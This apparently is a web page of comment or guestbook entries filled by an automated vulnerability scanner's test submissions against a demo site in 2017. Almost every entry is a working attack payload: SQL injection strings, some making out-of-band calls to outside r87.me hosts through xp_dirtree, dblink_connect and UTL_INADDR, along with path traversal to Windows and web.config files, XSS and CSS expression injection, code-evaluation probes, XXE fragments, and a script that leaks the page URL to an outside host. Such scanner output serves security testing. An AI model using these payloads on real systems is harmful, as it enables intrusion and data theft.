+ 8/23/2017 8:08:14 AM +

+

+ /../../../../../../../../../../windows/win.iniďż˝.aspx +

+
+

";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxucoe5clqmxxmeebhuyv-ug5nzsrd-hh"+"dhq.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ file:/windows/win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ '+netsparker(0x003E4A)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ 54.204.37.212/elmah.axd +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ /../../../../../../../../../../windows/win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ o010_rdnxurtuqnedkm7atmvcpmyua8haywhucwdoyx.r87.me/p/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ testsparker.com/elmah.axd +

+
+

+

+ 8/23/2017 8:08:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ /../../../../../../../../../../web.config +

+
+

Smith

+

+ 8/23/2017 8:08:12 AM +

+

+ OR X='ss +

+
+

Smith

+

+ 8/23/2017 8:08:12 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ */netsparker(0x003E48);/* +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ http://testsparker.com/elmah.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ c%3a%5cboot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ AND 'NS='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:11 AM +

+

+ file%3a%2fboot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:11 AM +

+

+ body{x:expression(netsparker(0x003E46))} +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ NS +NO +

+
+

+

+ 8/23/2017 8:08:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ n;ns:expression(netsparker(0x003E44)); +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ php://filter//resource=http://o010_rdnxu9kdfepoeiwpxwju9dydxwr8og6j5kehfb.r87.me/p/ +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ 1 OR 1=1 +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ http://o010_rdnxu8r3qe8x1xwizm6w-a2it_y4nacd-oftvx.r87.me/p/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ 127.0.0.1/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:09 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:09 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ <%a style=x:expre/**/ssion(netsparker(0x003E42))> +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

o010_rdnxua8t29ijj5lcsqcl7xpweyk2i6ljvp96in.r87.me/p/

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ ::1/trace.axd +

+
+

o010_rdnxu6tcixy-avunkhsze-67jxpjgkl4jksqxh.r87.me/p/

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ ns../../../../../../../../../../../boot.ini....................................................................................................................................................................................... +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

php://filter//resource=http://o010_rdnxuu2ie2xhes7eeg9zgowwk3o0idqxj6kon9.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ javascript:netsparker(0x003E3E) +

+
+

php://filter//resource=http://o010_rdnxufbfzmvyntutgafdsxhw5gr1uxox5yeqjz.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ c:\boot.ini +

+
+

http://o010_rdnxum5-4l2p9tvdmecwn6htpm4dqeunruu3az.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://o010_rdnxu_3dmwrd8xvoyshzzkya2kvt_ls1wahl3f.r87.me/p/

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:05 AM +

+

+ file:/boot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ /../../../../../../../../../../boot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ %dtd;]>&a; +

+
+

Smith

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ %dtd;]>&a; +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ 127.100.11.2/trace.axd +

+
+

Smith

+

+ 8/23/2017 8:08:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ %dtd;]>&a; +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ /../../../../../../../../../../boot.iniďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ 54.204.37.212/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ testsparker.com/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ http://testsparker.com/trace.axd +

+
+

'"-->

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

'"-->

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ "> +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ https://testsparker.com.r87.com/? +

+
+

Smith

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ '> +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:58 AM +

+

+ //r87.com/n/j/?0x003E36 +

+
+

Smith

+

+ 8/23/2017 8:07:57 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:57 AM +

+

+ //r87.com/n/n.css?0x003E34 +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:57 AM +

+

+ http://testsparker.com.r87.com/? +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ testsparker.com.r87.com/? +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ 1 ns=netsparker(0x003E2A) +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ ///r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ '" ns=netsparker(0x003E28) +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ /\r87.com/?testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:54 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ /../../../../../../../../../../boot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ r87.com/?https://testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAzRTI2KTwvc2NyaXB0Pg== +

+
+

Smith

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x003E24%29%3C%2FscRipt%3E +

+
+

Smith

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ '"--> +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuyoz3ygz7o3fb-fbmgahlo9g02qfwt7'||'o9q.r87.me') from DUAL))||'

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:50 AM +

+

+ r87.com/?http://testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupwyriz8l3hafztwi5bxtvogbklimak'||'jsg.r87.me') from DUAL))||'

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ "+print localtime()*0+0xFFF9999-22+" +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupjxsp5b-tc8mrkphwqyrjbysj9dta6'||'mu4.r87.me') from DUAL))))

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ //r87.com/?http://testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuntiadxvpt2vjilow5dxqk_zgklc92l'||'lga.r87.me') from DUAL))))

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ '+print localtime()*0+0xFFF9999-22+' +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ http://r87.com/?testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:47 AM +

+

+ eval('print localtime()*0+0xFFF9999-22') +

+
+

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu6olwxenayn61zuznzvkpieqw2uxuss'||'zqo.r87.me') from DUAL)

+

+ 8/23/2017 8:07:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:47 AM +

+

+ print localtime()*0+0xFFF9999-22 +

+
+

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu5bux1l7536c7txqvw2vvoxrdqbr4ju'||'dau.r87.me') from DUAL)

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

'||cast((SELECT dblink_connect('host=o010_rdnxuamtijxrh_ua47ll7e6-nc4qrs7wicc'||'wby.r87.me user=a password=a connect_timeout=2')) as numeric)||'

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

'||cast((SELECT dblink_connect('host=o010_rdnxu_0yjiybkjb8gteg5wkotzgoa1zifn1'||'bme.r87.me user=a password=a connect_timeout=2')) as numeric)||'

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

cast((SELECT dblink_connect('host=o010_rdnxuddfqmvhh1jbp6oafwbchqjv2quvajg'||'yru.r87.me user=a password=a connect_timeout=2')) as numeric)

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

cast((SELECT dblink_connect('host=o010_rdnxugpapkhq8ssuvqftyjaxfcqkladiscr'||'mia.r87.me user=a password=a connect_timeout=2')) as numeric)

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ http://r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

dblink_connect('host=o010_rdnxuzkqd2xzqzomqtyhwubjnsm7qrtw41t'||'hmy.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

dblink_connect('host=o010_rdnxuagjvg0f2rhewf39zzrgsd8gd5a9nzl'||'mxi.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:44 AM +

+

+ [php]print(int)0xFFF9999-22;[/php] +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

SELECT dblink_connect('host=o010_rdnxuvwmotchao5p8ee8yqxr8vb08wancnl'||'zrg.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ '{${print(int)0xFFF9999-22}}' +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

SELECT dblink_connect('host=o010_rdnxuet4tsuzg8phsdufx201xezqei3nqw4'||'3gg.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuoor_h9vzkn-hbagxjoylf8jk8jccgw'+'jfq.r87.me')exec sp_executesql @r--

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuaxtltofwd04m-y_ebcgkrjzqufv9ui'+'u58.r87.me')exec sp_executesql @r--

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

1' OR 1=1 OR '1'='1

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ {php}print(int)0xFFF9999-22;{/php} +

+
+

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

1' OR 1=1 OR '1'='1

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1 OR X='ss

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1 OR 17-7=10

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ "+print(int)0xFFF9999-22+" +

+
+

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxulgxbbhzfz4jijkmgflzscjkuwn1wey'+'frc.r87.me')exec sp_executesql @r

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

'+NSFTW+'

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1' OR 1=1 OR 'ns'='ns

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

1 AND 'NS='ss

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ '+print(int)0xFFF9999-22+' +

+
+

NSFTW

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

NS1NO

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +print(int)0xFFF9999-22;// +

+
+

'

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxuegehvyh4tozikzp_sz8bz3rfje4rmt'+'ffc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxu_rlfsyflnno_jfoftswysywvm7oabo'+'efc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1'))exec('xp_dirtree ''\\o010_rdnxujofvccq3wukhi5ijuuezny-tix8gkm'+'4oo.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1 OR 1=1

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1 OR 1=1

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

1'))exec('xp_dirtree ''\\o010_rdnxuzqu8zhegczorgqssxr9fnuar6zijoc'+'abu.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ print(int)0xFFF9999-22; +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ print(int)0xFFF9999-22 +

+
+

1))exec('xp_dirtree ''\\o010_rdnxue-9qm_9lazckav4txcnqrsysxmlcg1'+'2wg.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

1))exec('xp_dirtree ''\\o010_rdnxuf_h9io7sqlhhe_ufjklwpf7nybmrs5'+'gti.r87.me'+'\c$\a''')--

+

